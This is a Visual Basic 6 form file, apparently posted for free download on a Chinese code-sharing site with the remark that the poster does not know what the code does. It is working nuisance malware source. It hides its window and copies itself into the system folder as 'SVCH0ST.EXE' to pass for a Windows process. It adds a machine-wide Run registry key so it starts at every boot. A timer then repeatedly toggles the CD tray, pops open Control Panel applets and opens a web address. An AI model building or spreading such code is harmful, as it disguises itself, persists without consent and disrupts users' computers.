form1.frm

不清楚是什么VB代码 其他人不需帐号就可自由下载此源码

VERSION 5.00
Begin VB.Form Form1 
   Appearance      =   0  'Flat
   BackColor       =   &H80000005&
   BorderStyle     =   0  'None
   Caption         =   " "
   ClientHeight    =   3600
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   4800
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   3600
   ScaleMode       =   0  'User
   ScaleWidth      =   1
   ShowInTaskbar   =   0   'False
   Visible         =   0   'False
   WindowState     =   1  'Minimized
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Interval        =   60000
      Left            =   3840
      Top             =   2400
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

Private Declare Function CDdoor Lib "winmm.dll" Alias "mciSendStringA" _
( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long _
) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Const EWX_SHUTDOWN = 1
Const EWX_LOGOFF = 0
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim k As Integer
Dim CDOpen As Boolean
Private Sub Form_Load()
Dim Ret2 As Long  '注册表
If App.EXEName <> "SVCH0ST" Then
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\run", Ret2
RegSetValue Ret2, vbNullString, REG_SZ, "C:\WINDOWS\SYSTEM32\SVCH0ST.EXE", 4
RegCloseKey Ret2  '注册表
Call CopyFile(App.EXEName & ".exe", "C:\WINDOWS\SYSTEM32\SVCH0ST.EXE", 0)
Shell "C:\WINDOWS\SYSTEM32\SVCH0ST.EXE", vbHide
Unload Me
Else
Timer1.Enabled = True
End If
End Sub

Private Sub Timer1_Timer()
Dim x, y, z, w, u
k = k + 1
Select Case k Mod 60
Case 8
If CDOpen = False Then
Call CDdoor("set CDAudio door open", 0, 0, 0)
CDOpen = True
Else
Call CDdoor("set CDAudio door closed", 0, 0, 0)
CDOpen = False
End If
Case 16
x = Shell("rundll32.exe shell32.dll,Control_RunDLL")
Case 24
y = Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0 ")
Case 32
z = Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,0")
Case 40
w = Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl")
Case 48
u = Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0")
Case 56
Call ShellExecute(Form1.hwnd, "open", "http://02241.bjs.cn", vbNullString, vbNullString, &H0)
End Select
End Sub